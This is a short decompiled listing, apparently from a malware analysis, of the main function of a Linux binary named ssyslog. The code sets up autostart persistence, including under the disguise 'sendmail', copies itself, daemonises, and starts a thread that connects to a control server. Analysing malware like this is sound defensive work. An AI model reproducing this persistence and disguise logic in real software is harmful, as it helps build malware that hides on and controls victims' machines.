//Caffeine Security Malware Analysis
//Main section of ssyslog

int main(int argc, char** argv)
{// addr = 0x0804F128
    pthread_t tConnID;
    char _v20;
    _unknown_ _v36;
    _unknown_ _v40;
    _unknown_ _v44;
    int _t12;
    _unknown_ _t13;
    _unknown_ _t16;
    _unknown_ _t17;
    _unknown_ _t19;
    _unknown_ _t20;

    __ecx =  &argc;
    __esp = __esp & 240;
    _push( *((intOrPtr*)(__ecx - 4)));
    _push(_t19);
    _push(_t17);
    _push(__ecx);
    __esp = __esp - 32;
    _t18 = __ecx;
    init_globel();
    autostart(135044260);
    autostart(135044264);
    autostart("sendmail");
    copy_myself( *(__ecx[1]));
    _t12 = daemon_init();
    if(_t12 == 255) {
         *__esp = 0;
        L0805E0C0();
    }
    L08072500(__esi, 0, 0);
    _t13 = L0805D530(_t12, _t18, 15, sig_term);
    L080701B0(0);
    L0805E610(_t13);
    L0804FC20(_t18, __esi,  &_v20, 0, connect_to_server, 0);
    update_program_pid();
    while(1) {
        L08070250(5);
        decide_pid();
    }
}